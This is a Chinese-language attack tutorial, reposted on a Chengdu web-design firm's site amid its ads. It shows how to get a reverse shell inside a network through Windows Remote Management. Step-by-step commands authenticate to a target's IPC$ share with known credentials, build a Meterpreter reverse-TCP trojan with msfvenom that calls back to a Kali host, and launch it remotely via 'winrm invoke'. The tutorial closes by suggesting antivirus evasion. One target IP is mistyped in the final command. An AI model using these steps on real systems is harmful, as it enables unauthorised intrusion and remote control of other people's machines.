从品牌网站建设到网络营销策划,从策略到执行的一站式服务
如何利用WinRM实现内网无文件攻击反弹shell,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
成都创新互联专注于企业成都全网营销推广、网站重做改版、沈丘网站定制设计、自适应品牌网站建设、H5建站、电子商务商城网站建设、集团公司官网建设、外贸网站制作、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为沈丘等各大城市提供网站开发制作服务。
0x00:前言
WinRM是Windows Remote Managementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
WinRM的好处在于,这种远程连接不容易被察觉到,也不会占用远程连接数!
0x01:环境准备
WinRM会用到5985、5986 端口,所以防火墙必须做开放处理。
用Administrator账户登录攻击机器
前提知道被攻击方的用户登录账户密码
Windows操作系统中,默认是开启共享IPC$的
IP:192.168.124.30(server2016)
IP:192.168.124.20(win7)
IP:192.168.124.32(Kali)
0x02:攻击过程
一、快速在(server2016)运行winrm
命令:winrm quickconfig
二、net use连接(win7)
命令:net use \\192.168.124.20\ipc$ “密码” /user:“用户名”
尝试调用本地”calc.exe”.
成功
在(win7)中需要被远程访问的文件,开启文件共享。
开启共享文件夹,并添加访问用户的权限,使其能够远程访问。
四、在(win7)中放置木马,并且用(kali)接收反弹的shell
生成shellcode
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.124.32 lport=7777 -f exe -o ./luomiweixiong.exe
把”luomiweixiong.exe”放在(win7)的C盘根目录.
3、kali启动监听shell模式
利用(server2016)的WinRM 实现内网无文件攻击反弹shell
在(server2016)中执行以下命令
winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.12.20\c\luomiweixiong.exe"}
反弹成功
0x03:总结
shellcode还可以做一些免杀处理,使其更加的完美。
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注创新互联行业资讯频道,感谢您对创新互联的支持。
成都网站建设公司地址:成都市青羊区太升南路288号锦天国际A座10层 建设咨询028-86922220
成都快上网科技有限公司-四川网站建设设计公司 | 蜀ICP备19037934号 Copyright 2020,ALL Rights Reserved cdkjz.cn | 成都网站建设 | © Copyright 2020版权所有.
专家团队为您提供成都网站建设,成都网站设计,成都品牌网站设计,成都营销型网站制作等服务,成都建网站就找快上网! | 成都网站建设哪家好? | 网站建设地图